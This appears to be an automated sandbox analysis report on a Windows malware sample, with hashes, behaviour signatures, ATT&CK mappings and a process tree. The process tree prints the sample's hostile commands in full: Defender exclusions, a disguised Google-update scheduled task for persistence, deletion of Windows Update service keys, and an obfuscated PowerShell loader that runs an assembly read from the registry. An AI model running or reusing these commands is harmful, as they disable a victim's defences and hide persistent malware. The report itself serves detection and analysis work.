Analysis

  • max time kernel
    13s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-06-2023 11:51

General

  • Target

    dmi1dfg7n.exe

  • Size

    2.8MB

  • MD5

    9253ed091d81e076a3037e12af3dc871

  • SHA1

    ec02829a25b3bf57ad061bbe54180d0c99c76981

  • SHA256

    78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

  • SHA512

    29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4

  • SSDEEP

    49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Stops running service(s) 3 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe
    "C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:64
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:388
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4548
      • C:\Windows\system32\powercfg.exe
        powercfg /x -hibernate-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:232
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1568
      • C:\Windows\system32\powercfg.exe
        powercfg /x -standby-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3144
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\system32\sc.exe
        sc stop UsoSvc
        3⤵
        • Launches sc.exe
        PID:4520
      • C:\Windows\system32\sc.exe
        sc stop WaaSMedicSvc
        3⤵
        • Launches sc.exe
        PID:4052
      • C:\Windows\system32\sc.exe
        sc stop wuauserv
        3⤵
        • Launches sc.exe
        PID:2304
      • C:\Windows\system32\sc.exe
        sc stop bits
        3⤵
        • Launches sc.exe
        PID:4920
      • C:\Windows\system32\sc.exe
        sc stop dosvc
        3⤵
        • Launches sc.exe
        PID:4900
      • C:\Windows\system32\reg.exe
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        3⤵
          PID:5000
        • C:\Windows\system32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
          3⤵
            PID:1784
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
            3⤵
            • Modifies security service
            PID:2684
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
            3⤵
              PID:3472
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
              3⤵
                PID:3384
            • C:\Windows\system32\dialer.exe
              C:\Windows\system32\dialer.exe
              2⤵
              • Drops file in Windows directory
              PID:1500
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4280
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                3⤵
                  PID:4344
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
              1⤵
                PID:4356
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
                1⤵
                  PID:3684
                • C:\Program Files\Google\Chrome\updater.exe
                  "C:\Program Files\Google\Chrome\updater.exe"
                  1⤵
                    PID:1144
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                      2⤵
                        PID:2136
                    • C:\Windows\System32\dllhost.exe
                      C:\Windows\System32\dllhost.exe /Processid:{95e958c4-e993-4cf8-a43c-fd4662e40265}
                      1⤵
                        PID:4968

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Persistence

                      Modify Existing Service

                      2
                      T1031

                      Defense Evasion

                      Modify Registry

                      1
                      T1112

                      Impair Defenses

                      1
                      T1562

                      Impact

                      Service Stop

                      1
                      T1489

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Program Files\Google\Chrome\updater.exe
                        Filesize

                        2.8MB

                        MD5

                        eb27bb8cfa99d659e4fe023e9002ecd1

                        SHA1

                        c783400302fdfae0518269c5a5a8d4bad29f42a3

                        SHA256

                        9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

                        SHA512

                        ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        Filesize

                        2KB

                        MD5

                        d85ba6ff808d9e5444a4b369f5bc2730

                        SHA1

                        31aa9d96590fff6981b315e0b391b575e4c0804a

                        SHA256

                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                        SHA512

                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        Filesize

                        944B

                        MD5

                        ecceac16628651c18879d836acfcb062

                        SHA1

                        420502b3e5220a01586c59504e94aa1ee11982c9

                        SHA256

                        58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

                        SHA512

                        be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        Filesize

                        1KB

                        MD5

                        0ad3b132dcf2c2524fd766fba7f0e8d6

                        SHA1

                        092f934636f2474ce2ab380b464c1f7d1bc140e4

                        SHA256

                        7bed9ce9a785e557b8053dea7d43bd68b9de5b087593734968abf86b2cc49ee9

                        SHA512

                        c5f1251c626de8014e5214f524d29fdcba391d5fdee0b3da1a386bd58e16fdc37174c28af9d45ed1b58c41bfb8a2ba4337bc57720cfca6d0eee5e0f0ddf255dd

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3m3po0va.iku.ps1
                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • memory/64-139-0x0000026AB0AB0000-0x0000026AB0AD2000-memory.dmp
                        Filesize

                        136KB

                      • memory/64-145-0x0000026AB0180000-0x0000026AB0190000-memory.dmp
                        Filesize

                        64KB

                      • memory/64-146-0x0000026AB0180000-0x0000026AB0190000-memory.dmp
                        Filesize

                        64KB

                      • memory/64-144-0x0000026AB0180000-0x0000026AB0190000-memory.dmp
                        Filesize

                        64KB

                      • memory/64-149-0x0000026AB0AE0000-0x0000026AB0CFC000-memory.dmp
                        Filesize

                        2.1MB

                      • memory/440-251-0x0000028648FB0000-0x0000028648FDA000-memory.dmp
                        Filesize

                        168KB

                      • memory/440-258-0x0000028648FB0000-0x0000028648FDA000-memory.dmp
                        Filesize

                        168KB

                      • memory/440-254-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/596-233-0x0000020F2F970000-0x0000020F2F99A000-memory.dmp
                        Filesize

                        168KB

                      • memory/596-235-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/596-239-0x0000020F2F970000-0x0000020F2F99A000-memory.dmp
                        Filesize

                        168KB

                      • memory/596-231-0x0000020F2F940000-0x0000020F2F963000-memory.dmp
                        Filesize

                        140KB

                      • memory/628-261-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/628-260-0x000001EE75E60000-0x000001EE75E8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/628-296-0x000001EE75E60000-0x000001EE75E8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/680-253-0x000001AF02D20000-0x000001AF02D4A000-memory.dmp
                        Filesize

                        168KB

                      • memory/680-236-0x000001AF02D20000-0x000001AF02D4A000-memory.dmp
                        Filesize

                        168KB

                      • memory/680-238-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/952-246-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/952-243-0x000001CC9A7C0000-0x000001CC9A7EA000-memory.dmp
                        Filesize

                        168KB

                      • memory/952-255-0x000001CC9A7C0000-0x000001CC9A7EA000-memory.dmp
                        Filesize

                        168KB

                      • memory/1012-256-0x00000218A5B50000-0x00000218A5B7A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1012-244-0x00000218A5B50000-0x00000218A5B7A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1012-247-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1036-267-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1036-302-0x0000014D9F570000-0x0000014D9F59A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1036-265-0x0000014D9F570000-0x0000014D9F59A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1044-270-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1044-268-0x000002E666170000-0x000002E66619A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1044-306-0x000002E666170000-0x000002E66619A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1092-272-0x000001D4FFE60000-0x000001D4FFE8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1092-273-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1092-310-0x000001D4FFE60000-0x000001D4FFE8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1100-277-0x000002D181B60000-0x000002D181B8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1100-314-0x000002D181B60000-0x000002D181B8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1100-278-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1144-242-0x00007FF693040000-0x00007FF693308000-memory.dmp
                        Filesize

                        2.8MB

                      • memory/1212-280-0x0000023B69B60000-0x0000023B69B8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1212-319-0x0000023B69B60000-0x0000023B69B8A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1212-282-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1244-285-0x00007FFAF3DB0000-0x00007FFAF3DC0000-memory.dmp
                        Filesize

                        64KB

                      • memory/1244-283-0x0000022A43CE0000-0x0000022A43D0A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1244-324-0x0000022A43CE0000-0x0000022A43D0A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1288-329-0x0000029395D30000-0x0000029395D5A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1356-334-0x0000027316790000-0x00000273167BA000-memory.dmp
                        Filesize

                        168KB

                      • memory/1440-338-0x0000022DDA140000-0x0000022DDA16A000-memory.dmp
                        Filesize

                        168KB

                      • memory/1448-342-0x00000168EA090000-0x00000168EA0BA000-memory.dmp
                        Filesize

                        168KB

                      • memory/1500-188-0x00007FF606EB0000-0x00007FF606F06000-memory.dmp
                        Filesize

                        344KB

                      • memory/3144-161-0x00000201DA640000-0x00000201DA650000-memory.dmp
                        Filesize

                        64KB

                      • memory/3144-163-0x00000201DA640000-0x00000201DA650000-memory.dmp
                        Filesize

                        64KB

                      • memory/3144-162-0x00000201DA640000-0x00000201DA650000-memory.dmp
                        Filesize

                        64KB

                      • memory/3684-204-0x00000262EF460000-0x00000262EF470000-memory.dmp
                        Filesize

                        64KB

                      • memory/3684-206-0x00000262EF460000-0x00000262EF470000-memory.dmp
                        Filesize

                        64KB

                      • memory/3684-205-0x00000262EF460000-0x00000262EF470000-memory.dmp
                        Filesize

                        64KB

                      • memory/3684-202-0x00007FFB33D30000-0x00007FFB33F25000-memory.dmp
                        Filesize

                        2.0MB

                      • memory/3684-203-0x00007FFB32F30000-0x00007FFB32FEE000-memory.dmp
                        Filesize

                        760KB

                      • memory/4356-207-0x00000000034C0000-0x00000000034D0000-memory.dmp
                        Filesize

                        64KB

                      • memory/4356-208-0x00000000034C0000-0x00000000034D0000-memory.dmp
                        Filesize

                        64KB

                      • memory/4356-200-0x0000000000F00000-0x0000000000F36000-memory.dmp
                        Filesize

                        216KB

                      • memory/4356-213-0x00000000041E0000-0x0000000004246000-memory.dmp
                        Filesize

                        408KB

                      • memory/4356-252-0x0000000003580000-0x000000000359E000-memory.dmp
                        Filesize

                        120KB

                      • memory/4356-210-0x0000000003900000-0x0000000003966000-memory.dmp
                        Filesize

                        408KB

                      • memory/4356-209-0x0000000003860000-0x0000000003882000-memory.dmp
                        Filesize

                        136KB

                      • memory/4356-201-0x0000000003B00000-0x0000000004128000-memory.dmp
                        Filesize

                        6.2MB

                      • memory/4572-143-0x00007FF67B220000-0x00007FF67B4E8000-memory.dmp
                        Filesize

                        2.8MB

                      • memory/4572-167-0x00007FF67B220000-0x00007FF67B4E8000-memory.dmp
                        Filesize

                        2.8MB

                      • memory/4968-228-0x0000000140000000-0x0000000140042000-memory.dmp
                        Filesize

                        264KB

                      • memory/4968-218-0x0000000140000000-0x0000000140042000-memory.dmp
                        Filesize

                        264KB

                      • memory/4968-214-0x0000000140000000-0x0000000140042000-memory.dmp
                        Filesize

                        264KB

                      • memory/4968-219-0x0000000140000000-0x0000000140042000-memory.dmp
                        Filesize

                        264KB

                      • memory/4968-223-0x00007FFB33D30000-0x00007FFB33F25000-memory.dmp
                        Filesize

                        2.0MB

                      • memory/4968-227-0x00007FFB32F30000-0x00007FFB32FEE000-memory.dmp
                        Filesize

                        760KB